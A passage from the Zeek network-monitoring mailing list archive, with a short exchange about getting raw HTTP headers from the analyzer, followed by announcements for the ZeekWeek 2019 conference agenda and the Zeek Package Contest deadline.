>> the analyzer strips whitespace.  The only option would be to modify 
>> the
>> analyzer or write a new one.
>>
>>    .Seth
>>
>> On 25 Aug 2019, at 0:32, Andrew Klaus wrote:
>>
>>> Hello,
>>>
>>> I'd like to write a script for HTTP requests, but I need the raw and
>>> untruncated headers to do this. I can't seem to find an event that
>>> will
>>> give me this data to work with. I've looked at http_all_headers and
>>> http_header, but they still strip whitespace.
>>>
>>> Is there any (current) way of doing this? It'd be nice to be able to
>>> do
>>> this without having to modify the analyzer.
>>>
>>> Thanks!
>>> Andrew
>>> _______________________________________________
>>> Zeek mailing list
>>> zeek at zeek.org
>>> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
>>
>> --
>> Seth Hall * Corelight, Inc * www.corelight.com
>>

--
Seth Hall * Corelight, Inc * www.corelight.com

From akgraner at corelight.com  Thu Aug 29 10:50:04 2019
From: akgraner at corelight.com (Amber Graner)
Date: Thu, 29 Aug 2019 12:50:04 -0500
Subject: [Zeek] Zeek Week (Formerly BroCon) Agenda Announced - 8-11 August
 2019 - Seattle, Washington
Message-ID: <CAJhOzuqXH2NUhPkgEnDLkZOZqh=i3Ad2Mee7k4e4MZc-dZpbYg@mail.gmail.com>

Hi all,

Check out the ZeekWeek Agenda today for 4 days of sessions, trainings,
networking opportunities and more.
====

REGISTER NOW for ZeekWeek 2019  before prices go up August 31st! -
http://bit.ly/zeekweek19_registration

====

Join all the leaders and contributors to the Zeek project as well as many
of the most expert users from around the world at ZeekWeek 2019. Here's
just a taste of the in-depth programming you'll be part of if you're in
Seattle:

- Learn how BZAR scripts created by MITRE can help you inspect SMB and RPC
functions
Presented by Mark Fernandez, Lead Cybersecurity Engineer, The MITRE
Corporation
- A case study on the DNSSEC Protocol parser
Presented by Fatema Banat Wala, Security Engineer, University of Delaware
- Understand how to profile production Zeek systems
Presented by Justin Azoff, Senior Support Engineer, Corelight

View the Full Agenda: http://bit.ly/zeekweek19agenda
Register Now: http://bit.ly/zeekweek19_registration

====

Zeek out on workshops, training, and community presentations from leaders
in the Zeek community.
Visit with vendors, sponsors, and other Zeek community members.
Save on your conference pass by registering now. Ticket prices rise August
31.

Haven't been to a Zeek event? Check out last year's BroCon lineup:
https://www.zeek.org/community/brocon2018.html

====

ZeekWeek 2019 is at the Embassy Suites by Hilton Downtown Pioneer Square in
Seattle, Washington. We have negotiated a special group rate for our
attendees who purchase in our room block. Deadline to reserve is September
16.

Learn more: http://bit.ly/zeekweek19

====

-- 

*Amber Graner*
Director of Community
Corelight, Inc

828.582.9469


 * Ask me about how you can participate in the Zeek (formerly Bro)
community.
 * Remember - ZEEK AND YOU SHALL FIND!!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190829/2293d461/attachment.html 

From akgraner at corelight.com  Sat Aug 31 08:57:20 2019
From: akgraner at corelight.com (Amber Graner)
Date: Sat, 31 Aug 2019 10:57:20 -0500
Subject: [Zeek] Last Day to Submit a Package for the Zeek Package Contest
Message-ID: <CAJhOzuo43kZvKhQQmg2OBMvJQ5RDtxSqkBokMs5Hmt+vkwWU-w@mail.gmail.com>

Just as a reminder - TODAY is the last day to submit a package for the Zeek
Package Contest. https://blog.zeek.org/2019/07/zeek-package-contest_25.html

Thanks,
~Amber--

*Amber Graner*
Director of Community
Corelight, Inc

828.582.9469


 * Ask me about how you can participate in the Zeek (formerly Bro)
community.
 * Remember - ZEEK AND YOU SHALL FIND!!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190831/a8da9565/attachment.html